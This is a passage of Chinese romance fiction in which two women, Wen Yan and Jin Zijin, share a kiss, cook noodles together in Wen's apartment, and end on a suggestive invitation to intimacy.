温言耳根有点热,没说话,只是任由她搂着。
靳子衿的手又从她手腕滑到耳垂,轻轻捏了捏,声音压低了些,带着诱哄:“不亲亲我吗?”
温言老实道:“我刚吃了东西,还没刷牙。”
“哦,”靳子衿恍然,随即又弯
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起眼睛,“我还没吃晚饭呢,正好让我尝尝味道。”
话音未落,她已踮起脚尖,吻了上去。
这个吻起初带着一丝冬夜跋涉后的微凉,但很快,就在温言温柔而坚定的回应中被融化。
唇齿间是淡淡的黑胡椒和牛排酱汁的味道,混合着靳子衿身上清冽的柑橘尾调,交织成一种令人心安的亲密气息。
良久,靳子衿稍稍退开,气息有些不稳。
她抬手,指尖穿过温言半干蓬松的发丝,触感柔软,带着浴室香氛的淡淡白桃味。
“洗过澡了?”她低声问。
“嗯,刚运动完。”温言牵起她的手,往屋内走,“我在吃饭,你吃过了吗?车上有没有吃点东西?”
“吃了点莲雾。”
靳子衿任由她牵着,目光打量着这个过分空旷却处处透着主人低调品味的家。
极简的线条,高级的材质,冰冷的距离感。
像温言这个人一样,内核温热,外表却疏离。
“难怪这么甜。”温言小声嘀咕了一句,然后问,“要不要我再给你做点吃的?”
“冰箱里还有饭、面、粉,牛排也有……”
“那就煮个面吧。”靳子衿说,她确实有些饿了。
“番茄鸡蛋面可以吗?”温言几乎是不假思索地问,她记得靳子衿偏好酸甜口。
靳子衿有些意外地看了她一眼,随即笑了:“好。”
两人来到开放式厨房。
暖黄的吊灯下,温言重新系上围裙,打开冰箱拿出番茄和鸡蛋。
靳子衿没有去沙发,而是跟了进来,从身后轻轻环住她的腰,将脸颊贴在她温热的背脊上。
温言正在给番茄去皮,动作顿了顿,微微侧头:“怎么了?”
“黏你啊。”靳子衿的声音闷在她背后,理直气壮,“一整天都很想你,所以一回来就想黏着你。不行吗?”
温言只觉得一股热气从脖颈直冲耳根,心脏跳得有点快。
她低低“嗯”了一声:“可以。”
于是,她就在这个“人形挂件”的缠绕下,磕磕绊绊却有条不紊地完成了洗、切、炒、煮。
靳子衿只是安静地抱着她,偶尔将脸在她背上轻轻蹭一下,或者在她侧颈偷一个吻。
面煮好了,简单的番茄鸡蛋浇头,色泽鲜亮,热气腾腾。
两人没去餐厅,就挨着中岛台,肩并肩站着吃完。
谁也没说话,只有细微的进食声和碗筷轻碰的叮当响,气氛却温馨得不像话。
吃完,温言收拾碗筷去洗。
靳子衿这才松开她,背着手,慢悠悠地在房子里闲逛起来。
她推开健身室的玻璃门,看到了那面专业级的攀岩墙和还在微微晃动的沙包。
“你喜欢攀岩?”她扬声问厨房方向。
“嗯。”温言的声音混着水声传来。
“难怪这么有劲。”靳子衿嘀咕一句,嘴角勾起。
她又在一楼转了转,看了书房里顶天立地的书架和里面密密麻麻的专业书籍,看了几乎空无一物的客卧,最后回到客厅,在那张巨大的Minotti沙发上坐下。
透过整面墙的落地窗,大半个城市的璀璨灯火尽收眼底,远处的明珠塔宛如镶嵌在夜幕中的发光宝石。
繁华,却又遥远。
这房子确实不错。
看来温家父母在物质上,至少没有太亏待温言。
正出神间,脚步声靠近。
温言洗好了碗,擦着手走过来。
她刚沐浴过的脸上还带着水汽蒸出的淡淡粉色,居家的棉质衣服柔软地包裹着挺拔的身形。
温言轻声问:“累了吧?要不要先去洗个澡?”
靳子衿闻声转过头,看向她。
暖黄的光线勾勒着温言清晰的下颌线和修长的脖颈,那双总是平静的眼睛里,此刻盛着只为她而亮的温柔。
靳子衿没说话,只是朝她勾了勾手指。
温言顺从地走近,在她面前停下,微微俯身:“嗯?”
下一秒,靳子衿抬手搂住她的脖子,微微用力将她拉低。
温热的唇几乎贴着她的耳廓,女人吐息如兰,声音压得又低又软:“先做,好不好?”